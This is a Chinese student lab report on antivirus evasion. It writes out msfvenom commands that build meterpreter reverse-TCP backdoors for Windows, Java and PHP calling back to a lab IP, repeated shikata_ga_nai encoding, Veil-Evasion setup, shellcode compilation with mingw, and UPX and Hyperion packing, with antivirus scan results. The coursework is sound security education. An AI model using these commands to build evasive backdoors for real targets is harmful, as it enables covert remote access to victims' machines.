2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 使用VirusTotalVirscan这两个网站对实验二生成的后门程序进行扫描。

  • 可以发现,在virustotal70种杀软中,有51种杀软能识别出该代码是恶意代码。
  • Virscan结果如下:



    可见不加任何处理的后门程序能够被大多数杀软检测到
  • 用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > oncemsf.exe
  • 经过一次编码后的文件扫描结果如下

  • 十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > tenmsf.exe

  • 扫描结果如下:

  • 多次编码对免杀没有太大的效果。

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> nxy_backdoor_java.jar

  • 扫描结果如下

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> 20165317_backdoor.php

  • 扫描结果如下



    (php是世界上最好的语言!!!!!狗头.jpg)

4. 使用veil-evasion生成后门程序及检测

安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
  • 因为网络连接问题和系统不兼容,所以出现了很多问题
  • 首先更新系统,在管理员模式下输入下列命令
apt-get update
apt-get upgrade
  • 然后再用veil打开veil,输入y继续安装直至完成。效果如下:

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.102,注意此处的IP是KaliIP
  • 设置端口,命令为:set LPORT 5317

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5317

  • 扫描结果如下,可见veil-evasion生成的后门程序效果仍不理想

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f c用c语言生成一段shellcode;

  • 创建一个文件20165317.c,然后将unsigned char buf[]赋值到其中
  • 使用命令:i686-w64-mingw32-g++ 20165317.c -o 20165317.exe编译这个.c文件为可执行文件;
  • 扫描结果如下

6.加壳

使用压缩壳(UPX)

  • 给之前的20165317.exe加个壳得到nxy_upx.exe:

  • 扫描结果如下:



    使用加密壳Hyperion
  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v nxy_upx.exe nxy_upx_Hyperion.exe进行加壳
  • (这个地方从图形界面复制一直显示权限不够,怎么也加不上最后只好从命令行来了)
  • 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过使用半注入shellcode,压缩壳,保密壳生成后门程序,但很可惜,没有成功,腾讯虽然杀不出病毒但是也无法反弹连接,尝试失败。

回答问题

  • 杀软是如何检测出恶意代码的?

    最常用的方法是检测特征代码,恶意代码通常具有一些特定的,正常程序所不具备的代码,我们称之为特征代码,可以通过这段代码来证明这是恶意代码。不同杀软对特征代码的扫描应该是不同的。第二种方法是依据行为来推断,如果一段代码执行后对系统造成破坏或者窥探用户隐私,则很有可能是恶意代码。第三种方法是启发式检测,通过片面的特征来判断是否是恶意代码,但这种方式较为片面,不常用。
  • 免杀是做什么?

    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测
  • 免杀的基本方法有哪些?

    免杀可以通过改变特征码和改变行为等方式来进行。改变特征码就是想方设法使得特征码不在我的恶意代码里出现,比如多次编码,或者加壳(不过是不是加壳了之后壳也成为了一种特征码了呢?);改变行为就是减少恶意代码攻击性行为出现的次数,比如说在一个几乎是正常运行没有恶意的超大型程序里植入一个很小的,不经常工作的后门。

感想与体会

本次实验并没有成功,而过程中也遇到了很多的问题,比如说对kali系统本身和Ubuntu的一些区别还是比较模糊不清,veil安装也出现了很大的问题。在解决问题的过程中感觉自己能更加熟练的使用搜索引擎和CSDN等辅助工具,这也是到目前为止,我在大学里最大的收获之一,解决问题的方法很重要。这次虽然大概了解了免杀的原理,但是对于其中一些深层次的东西还是一知半解,导致在做最后的组合性免杀的时候没有成功。另外在本次实验中,我也了解了各杀毒软件的能力和工作原理,还是收获颇丰。

2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  3. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  4. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  5. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. 【原创】大数据基础之Kafka(1)简介、安装及使用

    kafka2.0 http://kafka.apache.org 一 简介 Kafka® is used for building real-time data pipelines and strea ...

  2. php 新闻上一条下一条

    public function prevnext($table,$id,$where=[]){ $ids=db($table)->field('id,title')->order('sor ...

  3. JavaScript入门学习笔记(异常处理)

    try:语句测试代码块的错误,当try中的代码块出错时执行catch中的代码块. catch:语句处理错误: throw:语句创建或抛出自定义异常. 三者一起使用可以控制程序流并生成自定义异常信息. ...

  4. linux软件管理

    People who cannot find time for recreation are obliged sooner or later to find time for illness.腾不出时 ...

  5. lnoi2019游记

    好诡异的省选...... day0: 莫名其妙的订了下午从sy到dl的火车,得五点多才能到,所以.......是不需要试机的吗...... 好吧... 看着停课的jflr们,感觉他们好强啊,像我这种酱 ...

  6. 记账本-NABCD分析

    N(Need)需求 这个软件主要解决了大学生管理自己财务状况的问题,随着手机支付的日趋流行大家对财务的概念就变成了银行卡账户余额的一串数字,在不知不觉中,这串数字就一变小,也就出现了月光族.由此看来, ...

  7. MySQL通过Navicat实现远程连接的过程

      直接使用Navicat通过IP连接会报各种错误,例如:Error 1130: Host '192.168.1.80' is not allowed to connect to this MySQL ...

  8. Scala的泛型

    类比java中的泛型: 上界(协变).下界(逆变) scala中泛型采用中括号声明 val array = Array[Int](,,,) array() //声明什么类型就返回什么类型 //test ...

  9. 基于PySpark的网络服务异常检测系统 (四) Mysql与SparkSQL对接同步数据 kmeans算法计算预测异常

    基于Django Restframework和Spark的异常检测系统,数据库为MySQL.Redis, 消息队列为Celery,分析服务为Spark SQL和Spark Mllib,使用kmeans ...

  10. Boredom

    Alex doesn't like boredom. That's why whenever he gets bored, he comes up with games. One long winte ...